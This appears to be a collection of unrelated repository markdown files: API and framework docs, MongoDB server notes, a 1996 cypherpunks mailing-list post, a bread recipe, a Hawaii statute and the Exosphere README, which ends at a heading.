text:
# AliasDto

Email alias representation

## Properties

| Name | Type | Description | Notes |
|------------ | ------------- | ------------- | -------------|
|**id** | **UUID** |  |  |
|**emailAddress** | **String** | The alias's email address for receiving email |  |
|**maskedEmailAddress** | **String** | The underlying email address that is hidden and will received forwarded email |  [optional] |
|**userId** | **UUID** |  |  |
|**inboxId** | **UUID** | Inbox that is associated with the alias |  |
|**name** | **String** |  |  [optional] |
|**useThreads** | **Boolean** | If alias will generate response threads or not when email are received by it |  [optional] |
|**isVerified** | **Boolean** | Has the alias been verified. You must verify an alias if the masked email address has not yet been verified by your account |  |
|**createdAt** | **OffsetDateTime** |  |  [optional] |
|**updatedAt** | **OffsetDateTime** |  |  [optional] |

repository: mailslurp/mailslurp-client-java

gha_language: Java

repo_name: mailslurp/mailslurp-client-java


text:
# Logging Architecture

The easiest and most embraced logging method for containerized applications is to write to the **standard output and standard error streams**.

However, the native functionality provided by a container engine or runtime is usually not enough for a complete logging solution. For example, if a container crashes, a pod is evicted, or a node dies, you'll usually still want to access your application's logs. As such, logs should have a separate storage and lifecycle independent of nodes, pods, or containers. This concept is calledcluster-level-logging. Cluster-level logging requires a separate backend to store, analyze, and query logs. Kubernetes provides no native storage solution for log data, but you can integrate many existing logging solutions into your Kubernetes cluster.

![image](../../../media/DevOps-Kubernetes-Logging-Architecture-image1.jpg)

## References

<https://kubernetes.io/docs/concepts/cluster-administration/logging>

<https://github.com/moby/moby/issues/7440>

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

gha_license_id: MIT

license_type: permissive


text:
# Russula gilva var. lutea (P. Karst.) J.E. Lange VARIETY

#### Status
ACCEPTED

#### According to
Index Fungorum

#### Published in
Fl. Agaric. Danic. 5: 78 (1940)

#### Original name
Russula integra var. lutea P. Karst.

### Remarks
null

repository: mdoering/backbone

path: /life/Fungi/Basidiomycota/Agaricomycetes/Russulales/Russulaceae/Russula/Russula gilva/Russula gilva lutea/README.md

repo_name: mdoering/backbone


text:
# MongoDB Setup

There are two MongoDB databases: development and production.

## Development

#### Servers
The development consists of 3 mongodb servers in a replica set:
* warwick:37010/lmfdb.warwick.ac.uk:37010
* m0:27017 aka m0.lmfdb.xyz
* arb:27017 aka arb.lmfdb.xyz, an arbiter, i.e., a dummy server, without data to make the number of servers odd and untie elections.

remark: there are indeed two warwick servers:
warwick.lmfdb.xyz and lmfdb.warwick.ac.uk.
warwick.lmfdb.xyz is a dummy server that forwards the traffic from the cloud servers to lmfdb.warwick.ac.uk via an SSH tunnel

### Instances Specs
* warwick.lmfdb.xyz: f1-micro, 1 shared CPU, 0.60 GB of memory
* arb.lmfdb.xyz: f1-micro, 1 shared CPU, 0.60 GB of memory
* m0.lmfdb.xyz: n1-highmem-4, (4 vCPUs, 26 GB memory)

### Operating system
Ubuntu 14.04 TLS

### Disks
* all the machines have a 10GB disk for the root file system
* m0 stores the DB  (/var/lib/mongodb) on a 1.0TB that can be expanded on the fly

### MongoDB conf
* warwick: priority: 2
* m0: priority 0 (won't ever become a primary server)
* [Write Concern](https://docs.mongodb.com/manual/reference/write-concern/): { "w" : "majority", wtimeout" : 15000 }, this forces that writes at warwick must be acknowledged by m0 in 15s, before you can keep writing
* settings.heartbeatTimeoutSecs = 30
* storageSystem: at m0 WiredTiger with zlib, at warwick MMAPv1

## Production

### Servers
The Production mongodb only uses one server:
* ms:27017 aka ms.lmfdb.xyz:27017

### Instance Specs
* ms.lmfdb.xyz: n1-highmem-4 (4 vCPUs, 26 GB memory)

### Operating system
Ubuntu 14.04 TLS

### MongoDB conf
storageSystem: WiredTiger with zlib

### Disks
* 10GB disk for the root file system
* ms-mongodb-wt-zlib stores the DB  (/var/lib/mongodb) on a 500GB that can be expanded on the fly.
* ms-tmp 250GB disk for performing data pushes
* ms1-mongodb-wt-zlib 300GB with an old snapshot for performing tests when necessary.

### Misc:
* every 15 min the user ```lmfdb``` runs the script ```update_knowls.sh```
* to run a temporary test server do ```sudo su mongodb -s /bin/bash -c "mongod -f /etc/mongod-ms1-34567.conf"```
* to update the snapshot do ```sudo rsync -avz /var/lib/mongodb /mnt/ms1/ --progress```

repository: edgarcosta/lmfdb-gce

gha_language: Shell

repo_name: edgarcosta/lmfdb-gce


text:
jasmine2chai[![Build Status](https://travis-ci.org/fivetanley/jasmine2chai.svg?branch=master)](https://travis-ci.org/fivetanley/jasmine2chai)[![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/)
-------

## Introduction

Are you migrating your test suite from Jasmine to Mocha? Are you using
chai as your assertion library in Mocha?

While Jasmine and Mocha have a very similar test and assertion syntax,
they're just different enough to not work out of the box with each
other.

Jasmine2Chai uses
[jscodeshift](https://github.com/facebook/jscodeshift) to (as accurately
as possible) transform your test code into something that is compatible
with chai.js assertions, *while leaving your code style alone.*

 In addition, `spyOn` calls are not yet
translated. This only translates the assertions on spies.

### toHaveBeenCalled -> to.have.been.called

Jasmine assertion:

```javascript
expect(foo.setBar).toHaveBeenCalled();
```

chai assertion:

```javascript
expect(foo.setBar).to.have.been.called;
```

### toHaveBeenCalledWith -> to.have.been.calledWith

Jasmine assertion:

```javascript
expect(foo.setBar).toHaveBeenCalledWith(123);
expect(foo.setBar).toHaveBeenCalledWith(456, 'another param');
```

chai assertion:

```javascript
expect(foo.setBar).to.have.been.calledWith(123);
expect(foo.setBar).to.have.been.calledWith(456, 'another param');
```

### toHaveBeenCalledTimes -> to.have.callCount

Jasmine assertion:

```javascript
expect(foo.setBar).toHaveBeenCalledTimes(2);
```

chai assertion:

```javascript
expect(foo.setBar).to.have.callCount(2);
```


text:
---
title: display_field
---
The name of the field which will be used to textually represent an object in various functions that assume that such a field is available.

{% highlight php %}
<?php
// models/venue.php:

class Venue extends MvcModel {

  var $display_field = 'name';

}

// views/venues/show.php:

// The following will output an anchor tag that uses $object->name for its text.
echo $this->html->venue_link($object);
?>
{% endhighlight %}

The `display_field` value will always be available in the `__name` property of an object (`$object->__name`), allowing you to represent an object textually without knowing exactly what property should be used.

### Using values other than column values for `display_field`

Note that fields that are set in `after_find()` can also be used for `display_field`, in case the displayed value should be something other than the value of a specific column.

{% highlight php %}
<?php

class Event extends MvcModel {

  // The events table doesn't have a column named name, but we'll
  // set $object->name in after_find() below
  var $display_field = 'name';

  public function after_find($object) {
    if (isset($object->speakers)) {
      $speaker_names = array();
      foreach($object->speakers as $speaker) {
        $speaker_names[] = $speaker->name;
      }
      $object->speaker_names = implode(', ', $speaker_names);
      $object->name = $object->speaker_names;
      if (isset($object->venue)) {
        $object->name .= ' at '.$object->venue->name;
      }
    }
  }

}

?>
{% endhighlight %}


text:
---
layout: default
---

# 1996-10-04 - Re: "Macintosh -- the Surveillance System for the Rest of Us

## Header Data

From: Robert Hettinga<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: f92d13b7060bca08c588f02cdb9408f591625fee5b8ede2235749c068500751c

Message ID<EMAIL_ADDRESS>Reply To: \<Pine.3.89.9610031350.A13226-0100000@netcom14\>

UTC Datetime: 1996-10-04 04:19:46 UTC

Raw Date: Fri, 4 Oct 1996 12:19:46 +0800

## Raw message

```
{% raw  %}From: Robert Hettinga<EMAIL_ADDRESS>Date: Fri, 4 Oct 1996 12:19:46 +0800
To<EMAIL_ADDRESS>Subject: Re: "Macintosh -- the Surveillance System for the Rest of Us
In-Reply-To: <Pine.3.89.9610031350.A13226-0100000@netcom14>
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

At 7:13 pm -0400 10/3/96, Timothy C. May wrote:
> GAK, or Girlfriend's Access to Keys, is indeed a very scary thing.

Ah.  Maybe we should cross-post this to alt.tasteless?

> "Macintosh, the Surveillance System for the Rest of Us."
>
> (Why Apple would go along with this, while Microsoft and Netscape are
> apparently not playing ball, is incomprehensible to me. Apple risks
> alienating its remaining core user base, who often characterize Microsoft
> as "the Borg." So, Apple capitulates, while MS does not. I guess the
> "Macintosh Crypto Forum" didn't do a lot of good, did it?)

Ouch.

My first reaction to the above was to say, "Oh, Yeah???  But, I won't upset the
decorum of so august a forum with such eggregious classlessness. Not here
on cypherpunks. :-).

If one were to be completely uncharitable in the interpretation of Tim's
most recent outbreak of vitriol here, it would seem that he's offended that
he wasn't asked first to be the keynote at MacCrypto, the conference a
bunch of us had at Apple a month ago, which, I might add, was a
considerable success.

Of course, the real irony here is that Tim *was* the first person we asked
to keynote. The irony compounds itself slightly more when you consider the
*last* person who we asked, Phil Zimmermann, at the *last* possible minute,
graciously accepted our invitation and delivered his keynote speech to a
very enthusiastic crowd.

Unfortunately, it may be a speaking engagement Phil regrets now, in light
of Apple's apparent participation in the most recent Washington GAK-fest.
:-{.

Anyway, let us *be* charitable, and take Tim's apparent vituperation about
Apple's complete capitulation to government pressure, not to mention the
appalling failure of the MacCrypto conference to lob any clues over the
walls of Fortress Apple, entirely at their face value, shall we?

Let's assume that he really *wasn't* trying to rattle the bars on the Mac
crypto community's collective cage, and that he actually was trying to
contribute something constructive to what appears to be a *truly* apalling
situation to anyone who wants strong crypto, and thus internet commerce, to
be transparent and easy to do on the Macintosh. The Mac crypto community's
cage is plenty rattled by the recent news from Washington, as it is.

With that in mind, the best thing most of us can figure is that Ellen
Hancock, Apple's chief technology officer, freshly hired from IBM, is in
the process of pulling the same kind of crypto-boner for Apple that
Netscape's CEO did last year about this time. Frankly, people who run
industrial organizations like Apple, and, I might add, Microsoft, don't
really understand yet that internet commerce *is* financial cryptography,
and, of course, that means strong, and un-GAKked, crypto.

I'm sure that the people on the mac-crypto list and the rest of the Mac
internet community in general will disabuse her of this notion rather
quickly.

By the way, most of the hard core of 70 or so people who came to the
MacCrypto conference, those who sat through the whole thing from start to
finish, were from outside Apple. Clearly, as far as crypto on the Mac goes,
the word "evangelism" cuts both ways.

However, we got some very good stuff from the Apple folks who did come,
including a soon to be released entropy manager -- with public source code
-- and a public-key "keychain" project -- with public source code -- , and
a volunteer of development participation in serious crypto projects from an
Apple fellow (who, by definition, can do anything he wants) and his staff.

Frankly, I'd rather see actual code being written than press releases,
wouldn't you, Tim?

Even if the code isn't on an Intel Pentium Pro 200 using the Microsoft
CryptoAPI...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga<EMAIL_ADDRESS>e$, 44 Farquhar Street, Boston, MA 02131 USA
"'Bart Bucks' are not legal tender."
                -- Punishment, 100 times on a chalkboard,
                       for Bart Simpson
The e$ Home Page: http://www.vmeng.com/rah/

{% endraw %}
```

## Thread

+ Return to [October 1996](/archive/1996/10)

+ Return to "[Adam Back <aba@dcs.ex.ac.uk>](/authors/adam_back_aba_at_dcs_ex_ac_uk_)"
+ Return to "[Adam Shostack <adam@homeport.org>](/authors/adam_shostack_adam_at_homeport_org_)"
+ Return to "[Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>](/authors/andrew_loewenstern_andrew_loewenstern_at_il_us_swissbank_com_)"
+ Return to "[Dale Thorn <dthorn@gte.net>](/authors/dale_thorn_dthorn_at_gte_net_)"
+ Return to "[Declan McCullagh <declan@eff.org>](/authors/declan_mccullagh_declan_at_eff_org_)"
+ Return to<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)](/authors/dlv_at_bwalk_dm_com_dr_dimitri_vulis_kotm_)"
+ Return to "[Jim McCoy <mccoy@communities.com>](/authors/jim_mccoy_mccoy_at_communities_com_)"
+ Return to "[Lucky Green <shamrock@netcom.com>](/authors/lucky_green_shamrock_at_netcom_com_)"
+ Return to "["Mark M." <markm@voicenet.com>](/authors/mark_m__markm_at_voicenet_com_)"
+ Return to "[Rich Burroughs <richieb@teleport.com>](/authors/rich_burroughs_richieb_at_teleport_com_)"
+ Return to "[Robert Hettinga <rah@shipwright.com>](/authors/robert_hettinga_rah_at_shipwright_com_)"
+ Return to "[The Deviant <deviant@pooh-corner.com>](/authors/the_deviant_deviant_at_poohcorner_com_)"
+ Return to "["Timothy C. May" <tcmay@got.net>](/authors/timothy_c_may_tcmay_at_got_net_)"

+ 1996-10-03 (Thu, 3 Oct 1996 17:31:50 +0800) - [Re: NYT on IBM GAK](/archive/1996/10/566e9cd636a632f804b2d29be4520c33dff1fbb77b989c6e2d4353751b4dbaa0) - _Rich Burroughs<EMAIL_ADDRESS>  + 1996-10-03 (Thu, 3 Oct 1996 19:57:31 +0800) - [Fighting Clipper III](/archive/1996/10/24019e053fc991438799190ccf50d1c6860103972ea893e3678a23c5e14d9811) - _Jim McCoy<EMAIL_ADDRESS>    + 1996-10-03 (Fri, 4 Oct 1996 01:29:18 +0800) - [Re: Fighting Clipper III](/archive/1996/10/45b8b2746234680e6692e0c4509787c4b740ceea69c19329349af3287508171e) - _Declan McCullagh<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 09:16:00 +0800) - [Re: Fighting Clipper III](/archive/1996/10/3aa2c457df2014485ae1551a1f00c6d728be13028aa1c861671a95b4188faf31) - _The Deviant<EMAIL_ADDRESS>    + 1996-10-03 (Fri, 4 Oct 1996 05:22:12 +0800) - [Re: Fighting Clipper III](/archive/1996/10/abcce37801ebcdd5c107c86599508713dd78a13eabb16e2cc3d448c05519099d) - _Andrew Loewenstern<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 19:05:01 +0800) - [Re: Fighting Clipper III](/archive/1996/10/6f0f3bb13b2a61ca0ca9deefadd46494eda508f512ca94f2392b89c3ea25d261) - _Declan McCullagh<EMAIL_ADDRESS>    + 1996-10-03 (Fri, 4 Oct 1996 05:36:22 +0800) - [Re: Fighting Clipper III](/archive/1996/10/22e38a43f7f0b8d971982d51b625a97d6af6f98fa1af33f85bdbd297722dda0d) - _"Timothy C. May"<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 09:47:31 +0800) - [Re: Fighting Clipper III](/archive/1996/10/655c5db0bfd04e12a146a83278b891ece9e054847722b79d72ba2594e3c5a321) - _Lucky Green<EMAIL_ADDRESS>        + 1996-10-04 (Fri, 4 Oct 1996 12:19:46 +0800) - Re: "Macintosh -- the Surveillance System for the Rest of Us - _Robert Hettinga<EMAIL_ADDRESS>          + 1996-10-04 (Fri, 4 Oct 1996 13:13:57 +0800) - [Re: "Macintosh -- the Surveillance System for the Rest of Us](/archive/1996/10/2f07cdf45ab297756fcaa11da9ea97e5b090762e17e929d1abe905c3c097f190) -<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)_
          + 1996-10-04 (Sat, 5 Oct 1996 06:50:52 +0800) - [MacGAK: Tim has a snit. Again.](/archive/1996/10/46c3887e22c86658ae106cc7a6c70654964c31af58a729f9db540269ee2ad471) - _Robert Hettinga<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 15:27:55 +0800) - ["Macintosh -- the Surveillance System for the Rest of Us](/archive/1996/10/68ed9107bbcb07971aa05de39a021c6bbc4a0a5bccf5d08027ff121b30e49bee) - _"Timothy C. May"<EMAIL_ADDRESS>        + 1996-10-04 (Fri, 4 Oct 1996 23:37:19 +0800) - [Re: "Macintosh -- the Surveillance System for the Rest of Us](/archive/1996/10/de172752be2ccdc9f4c214f629280da9a7737227417ee26f920d40c38b574a70) - _"Timothy C. May"<EMAIL_ADDRESS>      + 1996-10-05 (Sat, 5 Oct 1996 12:59:37 +0800) - [Re: "Macintosh -- the Surveillance System for the Rest of Us](/archive/1996/10/9dd40112bacfe6e98b25c58fcd8825706db4155e9d9a53a6bec5c15b7c9e457a) - _Dale Thorn<EMAIL_ADDRESS>    + 1996-10-03 (Fri, 4 Oct 1996 07:23:04 +0800) - [Re: Fighting Clipper III](/archive/1996/10/14c5f4969fe3765613277e524249f9a962df11cf35cac2f072cf51a12f1d49cb) - _Jim McCoy<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 12:19:45 +0800) - [Re: Fighting Clipper III](/archive/1996/10/22824ec338899f7f5dbc736101dca0c36fe30858bd05f3e9b3c27c88ab869c57) - _"Mark M."<EMAIL_ADDRESS>      + 1996-10-06 (Sun, 6 Oct 1996 17:44:51 +0800) - [Re: Fighting Clipper III](/archive/1996/10/8822ca4379ac5dd27379640705332c2087ce935ee3222d50d7cdd1be6abb35ea) - _Adam Back<EMAIL_ADDRESS>    + 1996-10-04 (Fri, 4 Oct 1996 11:25:34 +0800) - [Re: Fighting Clipper III](/archive/1996/10/62f2b75ee1ed41b22ec7adf6f183fa4dae222c413b29b6c08c63b7470022f3e1) - _The Deviant<EMAIL_ADDRESS>  + 1996-10-03 (Thu, 3 Oct 1996 22:39:51 +0800) - [Re: NYT on IBM GAK](/archive/1996/10/8e7918378b9749751d1d1ea2bc81d00aa36fdd9482db794153d119d3faeddd96) - _Adam Shostack<EMAIL_ADDRESS>  + 1996-10-04 (Fri, 4 Oct 1996 09:30:37 +0800) - [boycott GAKkers (was Re: NYT on IBM GAK)](/archive/1996/10/6b28dc6a9389f1ef6a4a9c361eb01ea7c8ab984e256c2b550008387e89347890) - _Adam Back<EMAIL_ADDRESS>    + 1996-10-04 (Fri, 4 Oct 1996 12:07:44 +0800) - [Re: boycott GAKkers (was Re: NYT on IBM GAK)](/archive/1996/10/1227b261a82b5b5f463026f23b9b804623594e136ad50e9c780dc90bdbb88cdd) - _"Mark M."<EMAIL_ADDRESS>      + 1996-10-04 (Fri, 4 Oct 1996 22:18:28 +0800) - [Re: boycott GAKkers (was Re: NYT on IBM GAK)](/archive/1996/10/b264518f45e2c5e076c5b8fe7b4b8ac3bc3d157194f9e7071ce2397b8d59f3a8) - _The Deviant<EMAIL_ADDRESS>


text:
# Deck and Cards

Both [sculptural](./sculpturalmodel.md) and [QBN](./qbn.md) models have used the terms "deck-based" and "card-based". Building from the metaphors used in TinyQBN by Grams (2019), SimpleQBN makes these explicit.

In order to use SimpleQBN, a **Deck** must be created. (Internally, upon creation, each **Deck** has its own [**State**](./state.md)).

The **Deck** class has the methods *addCard()* (accepting content and array of qualities), *updateCard()* (accepting **Card** to update in deck), and *removeCard()* (accepting **Card** to remove). As **Cards** are added in sequence, the method *shuffle()* randomly sorts all **Cards** in the **Deck**.

## Drawing **Cards**

Because a **Deck** may have potentially hundreds or even thousands of **Cards**, it is often useful to *draw* a sub-set based on those currently available. The method *draw()* accept an argument *size* (defaulting to 1). This returns an array whose length matches the size passed to it of all **Cards** currently available based on the **State** within the **Deck**.

As *draw()* creates and returns a new array, **Cards** within the **Deck** are not affected. However, the method *updateCard()* can be used to update an individual **Card** once drawn from the **Deck**.

If the position of **Cards** within the **Deck** is important, the method *getCard()* can be passed a specific position and will return the **Card** matching it, if it exists. (If the method *shuffle()* is used, the internal ordering of all **Cards** will be changed.)

## References

Grams, J. (2019). Tiny-QBN. GitHub. Retrieved from `https://github.com/JoshuaGrams/tiny-qbn`

repository: videlais/simple-qbn

branch_name: refs/heads/main

repo_name: videlais/simple-qbn


text:
==Ingredients==

* 1 1/3 cup lukewarm water
* 1 cup sourdough starter
* 1 tablespoon yeast
* 3 2/3 cup flour
* 1/2 teaspoon salt
* 1 1/2 tablespoon milk
* 1 1/2 tablespoon olive oil

==Directions==

# Place 1 cup water, starter, yeast, and flour into mixer - use dough hook and mix on medium for six minutes
# Turn mixer off and let stand for 20 minutes
# Add salt and mix on medium for 2 minutes
# Slowly add in the liquids
# Once fully incorporated mix on high for 4 minutes
# Let ferment for 2 - 2 1/2 hours or until it doubles in volume
# Flour counter and spread dough out, cover with more flour and let sit 20 minutes
# Pour dough onto parchment paper into a shape that is no thicker than 1 1/2 inches
# Cover and let proof for 2 hours
# Preheat over to 500 degrees
# Place bread on lowest rack and lower heat to 450 degrees
# Bake 15 minutes
# Take out and peel off parchment paper
# Turn over and bake 8 minutes
# Turn over again and bake 7 minutes
# EAT

[[category:Recipes]] [[category:vegetarian]]

repository: nixnull/recipe-wiki

repo_name: nixnull/recipe-wiki


text:
---
hrs_structure:
  division: '1'
  volume: '5'
  title: '15'
  chapter: '264'
  section: 264-17
type: hrs_section
tags:
  - Government
menu:
  hrs:
    identifier: HRS_0264-0017
    parent: HRS0264
    name: 264-17 Public hearing
weight: 13095
title: Public hearing
full_title: 264-17 Public hearing
---
**[§264-17] Public hearing.** Any state or county agency which prepares proposed plans for a major public highway project shall provide an opportunity for a public hearing at the earliest practicable time before the proposed plans for the project are finalized and commitments have been made by the state or county to the plans or the project. The public hearing shall be conducted and notice given in an adequate manner to apprise all interested persons of the proposed routes and scope of the projects and allow an opportunity for all interested persons to submit data, views, or arguments, orally or in writing. The public hearing required under this section may be held in conjunction with a public hearing held on the project to meet the requirement of any federal, state or county law provided the provisions of this section are satisfied.

The proposing agency shall satisfy any requirement for holding a public hearing under this section if adequate notice of the opportunity for the public hearing on the project is given to interested persons and no written requests for the hearing are received by the agency within a reasonable time.

This section shall not apply to the construction of highway projects where the governor has made a formal determination that the construction of the project is urgently needed because of an emergency, a natural disaster, or a catastrophic failure. [L 1976, c 163, §1]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# Exosphere: the User-Friendliest Interface for Non-proprietary Cloud Infrastructure

- Empowers researchers and other non-IT professionals to deploy their code and run services on [OpenStack](https://www.openstack.org)-based cloud infrastructure without advanced knowledge of virtualization or networking concepts
- Fills the gap between interfaces built for system administrators like OpenStack Horizon, and intuitive-but-proprietary services like DigitalOcean
- Enables cloud operators to deliver a user-friendly, powerful interface to their community with customized branding, nomenclature, and single sign-on integration

[![screenshot of Exosphere](docs/assets/screenshot-for-readme.png)](docs/assets/screenshot-for-readme.png)

## Video presentation and demo

[![Exosphere: A researcher-friendly GUI for OpenStack](https://img.youtube.com/vi/CTL-6icekYQ/0.jpg)](https://www.youtube.com/watch?v=CTL-6icekYQ)

## Quick Start

- **[try.exosphere.app](https://try.exosphere.app)** in your browser, if you have access to an existing OpenStack cloud with internet-facing APIs
- Use **[exosphere.jetstream-cloud.org](https://exosphere.jetstream-cloud.org)** if you have an allocation on [Jetstream Cloud](https://jetstream-cloud.org/)

## Overview and Features

_Wait, what is OpenStack?_ OpenStack is the operating system and APIs that power public research clouds at [Jetstream](https://jetstream-cloud.org) and [CyVerse](https://cyverse.org),  private clouds at organizations like [Wikimedia](https://www.mediawiki.org/wiki/Wikimedia_Cloud_Services_team) and [CERN](https://clouddocs.web.cern.ch/), and public commercial clouds like [OVH](https://us.ovhcloud.com/public-cloud/), [Fuga](https://fuga.cloud/), and [Vexxhost](https://vexxhost.com/). You can also run OpenStack on your own hardware to provide cloud infrastructure-as-a-service for your organization!

_OK, what can I do with Exosphere?_

- Easily create instances to run your code, and volumes to manage your data
  - Works great for containers, intensive compute jobs, disposable experiments, and persistent web services
- Get **one-click, browser-based shell** access to cloud resources with Exosphere's [Apache Guacamole](http://guacamole.apache.org) integration
  - One-click **graphical desktop** as well! (alpha feature for CentOS 8)
- **Pretty graphs** show resource utilization of each instance at a glance
- If you're a cloud operator, deliver a customized interface with white-labeling, localized nomenclature, and single sign-on
- 100% self-hostable, 99% standalone client application
  - Two small proxy servers facilitate secure web browser connections to OpenStack APIs and services running on user-launched cloud instances
- On the roadmap:
  - First-class support for containers and data science workbenches
  - Cluster orchestration
  - Community-curated deployment automations for scientific workflows and custom services
- Fully open source and open development process -- come hack with us!
  - See Exosphere's [values and goals](values-goals.md)

Exosphere will be a primary user interface for [Jetstream 2](https://itnews.iu.edu/articles/2020/NSF-awards-IU-10M-to-build-Jetstream-2-cloud-computing-system-.php), an [NSF](https://www.nsf.gov)-funded science and engineering cloud. Jetstream 2 will be available to any US-based researcher starting late 2021.

## Collaborate With Us

To start a conversation or ask for help, talk to us in real-time on [Matrix / Element](https://riot.im/app/#/room/#exosphere:matrix.org). You can also [browse an archive](https://view.matrix.org/room/!qALrQaRCgWgkQcBoKG:matrix.org/) of the chat history.

We use GitLab to track issues and contributions. To request a new feature or report a bug, [create a new issue](https://gitlab.com/exosphere/exosphere/-/issues/new) on our GitLab project.

## Documentation

### For Users and Anyone Else

- [Nomenclature Reference](docs/nomenclature-reference.md)
- [Values and Goals of the Exosphere Project](values-goals.md)
- [Cockpit Deprecation and Manual Installation](docs/cockpit.md)
- [Installing Exosphere Progressive Web Application](docs/pwa-install.md)

### For Cloud Operators

- [User Application Proxy (UAP)](docs/user-app-proxy.md)
- [Solving the CORS Problem (Cloud CORS Proxy)](docs/solving-cors-problem.md)
- [Federated Login Support](docs/federated-login.md)

### For Exosphere Contributors

- [Contributing to Exosphere](contributing.md)
- [UI, Layout, and Style](docs/style.md)
- [Architecture Decision Records](docs/adr/README.md)
- [Exosphere Tests](tests/README.md)
- [Browser Integration Tests](integration-tests/README.md)

### Legal Docs

- [Exosphere Project License](LICENSE)
- [Acceptable Use Policy for Exosphere Hosted Sites](docs/acceptable-use-policy.md)
- [Privacy Policy for Exosphere Hosted Sites](docs/privacy-policy.md)

## Advanced Topics

The following techniques are intended for cloud operators, advanced users, and for development purposes. We suggest that new users start with one of the hosted applications linked above.

### Build and Run Exosphere Locally

If you are building Exosphere for consumption in a web browser, please also see [solving-cors-problem.md](docs/solving-cors-problem.md).

First [install node.js + npm](https://www.npmjs.com/get-npm). (If you use Ubuntu/Debian you may also need to `apt-get install nodejs-legacy`.)

Then install the project's dependencies (including Elm). Convenience command to do this (run from the root of the exosphere repo):

```bash
npm install
```

To compile the app and serve it using a local development server install `elm-live` (once only):

```
npm install --no-save elm-live
```

Then run this command:

```
npm run live
```

Then browse to <http://app.exosphere.localhost:8000/>

To enable the Elm Debugger in the local development server run the following command instead:

```
npm run live-debug
```

Note: The local development server uses elm-live. It detects changes to the Exosphere source code, recompiles it, and
refreshes the browser with the latest version of the app. See [elm-live.com](https://www.elm-live.com/) for more
information.

### Build and Run Exosphere with Docker

If you want to build exosphere (as shown above) for a browser but do not want
to install node on your system, you can use the [Dockerfile](Dockerfile)
to build a container instead. First, build the container:

```bash
docker build -t exosphere .
```

And then run, binding port 8000 to 8000 in the container:

```bash
docker run --rm -it --name exosphere -p 8000:8000 exosphere
```

You should see `elm-live` starting:

```
elm-live:
  Hot Reloading is ON

  Warning: Hot Reloading does not replay the messages of the app.
  It just restores the previous state and can lead to bad state.
  If this happen, reload the app in the browser manually to fix it.

elm-live:
  Server has been started! Server details below:
    - Website URL: http://<IP_ADDRESS>:8000
    - Serving files from: /usr/src/app
    - Proxying requests starting with /proxy to https://try-dev.exosphere.app/proxy

elm-live:
  The build has succeeded.

elm-live:
  Watching the following files:
    - src/**/*.elm
```

You can open your browser to [http://app.exosphere.localhost:8000/](http://app.exosphere.localhost:8000/) to see the interface.

If you want a development environment to make changes to files, you can run
the container and bind the src directory:

```bash
$ docker run --rm -v $PWD/src:/usr/src/app/src -it --name exosphere -p 8000:8000 exosphere
```

You can then edit the Elm source code on your host using your favorite editor and `elm-live` inside the container will
detect the changes, automatically recompile the source code, and then reload the app in your browser.

If you need changes done to other files in the root, you can either bind them
or make changes and rebuild the base. You generally shouldn't make changes to files
from inside the container that are bound to the host, as the permissions will be
modified.

If you want to copy the elm-web.js from inside the container (or any other file) you can do the following in another
terminal window:

```bash
docker cp exosphere:/usr/src/app/elm-web.js my-elm.js
```

When it's time to cleanup, press Ctrl-C in the terminal window running `elm-live`.

### Exosphere Compatibility

#### To use with an OpenStack Cloud

- Exosphere works with OpenStack Queens version (released February 2018) or later.
- Exosphere works best with clouds that have [automatic allocation of network topology](https://docs.openstack.org/neutron/latest/admin/config-auto-allocation.html) enabled.

#### Supported Instance Operating Systems

Exosphere works best with instances launched from images based on **Ubuntu 20.04 LTS and CentOS 8**. Ubuntu 18.04 and CentOS 7 are also supported, but they receive less attention when testing new features. Exosphere can launch instances that run other operating systems, but some features and integrations are likely to not work.

One exception to the above: the one-click graphical desktop feature, currently in alpha stage, only works with CentOS 8.

If your community relies on an operating system that we don't currently support, please [create an issue](https://gitlab.com/exosphere/exosphere/-/issues) explaining your need! It's probably not hard to add support for Linux distros that use systemd and an APT/YUM/DNF package system.

#### To host the Exosphere Web Application

- The Exosphere client-side application can be served as static content from any web server.
- Exosphere's two supporting proxy servers ([Cloud CORS Proxy](docs/solving-cors-problem.md) and [User Application Proxy](docs/user-app-proxy.md)) require [Nginx](https://nginx.org) configured with browser-accepted TLS (e.g. via [Let's Encrypt](https://letsencrypt.org)). The User Application Proxy requires a wildcard TLS certificate; Let's Encrypt issues these free of charge.

### Runtime configuration options

These options are primarily intended for cloud operators who wish to offer a customized deployment of Exosphere to their user community. Set these in `config.js`.

| *Option*                      | *Possible Values*          | *Description*                                                          |
|-------------------------------|----------------------------|------------------------------------------------------------------------|
| showDebugMsgs                 | false, true                |                                                                        |
| cloudCorsProxyUrl             | null, string               | See `docs/solving-cors-problem.md`; required to use app in web browser |
| clouds                        | list                       | See example below; required for Guacamole support                      |
| palette                       | null, JSON object          | Pass custom colors to style Exosphere, see example below               |
| logo                          | null, string               | Path to custom logo to show in top-left corner of app                  |
| favicon                       | null, string               | Path to custom favicon                                                 |
| appTitle                      | null, string               | Title to show throughout the app                                       |
| topBarShowAppTitle            | true (default), false      | Whether to show or hide appTitle in the top navigation bar             |
| defaultLoginView              | null, openstack, jetstream | Which login view to display by default                                 |
| aboutAppMarkdown              | null, string (markdown)    | What to show in the "About the app" section of Help/About view         |
| supportInfoMarkdown           | null, string (markdown)    | What to show when user clicks "Get support" button                     |
| userSupportEmail              | null, string (markdown)    | Email address to ask users to send problem report                      |
| openIdConnectLoginConfig      | null, JSON object          | See `docs/federated-login.md` for more info and example JSON           |
| localization                  | null, JSON object          | Pass custom localization strings for the UI, see example below         |
| instanceConfigMgtRepoUrl      | null, string               | Set a custom repository to use for instance provisioning code          |
| instanceConfigMgtRepoCheckout | null, string               | Check out specific branch/tag/commit of instance provisioning code     |

#### Example cloud configuration

